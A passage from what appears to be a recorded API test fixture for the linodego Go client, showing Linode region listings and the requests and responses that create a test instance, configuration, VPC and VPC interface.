"us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-p1hen110q4t6","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874252, "label": "go-test-ins-wo-disk-p1hen110q4t6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.130.65"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "81a6689e2a5932cbf36d6571b2b808a00bb59c64", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-d7458nn67loj","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874252/configs method: POST response: body: '{"id": 65094714, "label": "go-test-conf-d7458nn67loj", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1721929586780390000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1721929586780566000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 78828, "label": "go-test-vpc-1721929586780390000", "description": "", "region": "us-iad", "subnets": [{"id": 76447, "label": "linodego-vpc-test-1721929586780566000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"purpose":"vpc","subnet_id":76447,"ip_ranges":["192.168.0.5/32"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874252/configs/65094714/interfaces method: POST response: body: '{"id": 2047760, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 78828, "subnet_id": 76447, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": ["192.168.0.5/32"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "238" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"primary":true,"ipv4":{"vpc":"192.168.0.2"},"ip_ranges":["192.168.0.5/32"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874252/configs/65094714/interfaces/2047760 method: PUT response: body: '{"id": 2047760, "purpose": "vpc", "primary": true, "active": false, "ipam_address": null, "label": null, "vpc_id": 78828, "subnet_id": 76447, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": ["192.168.0.5/32"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "237" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write 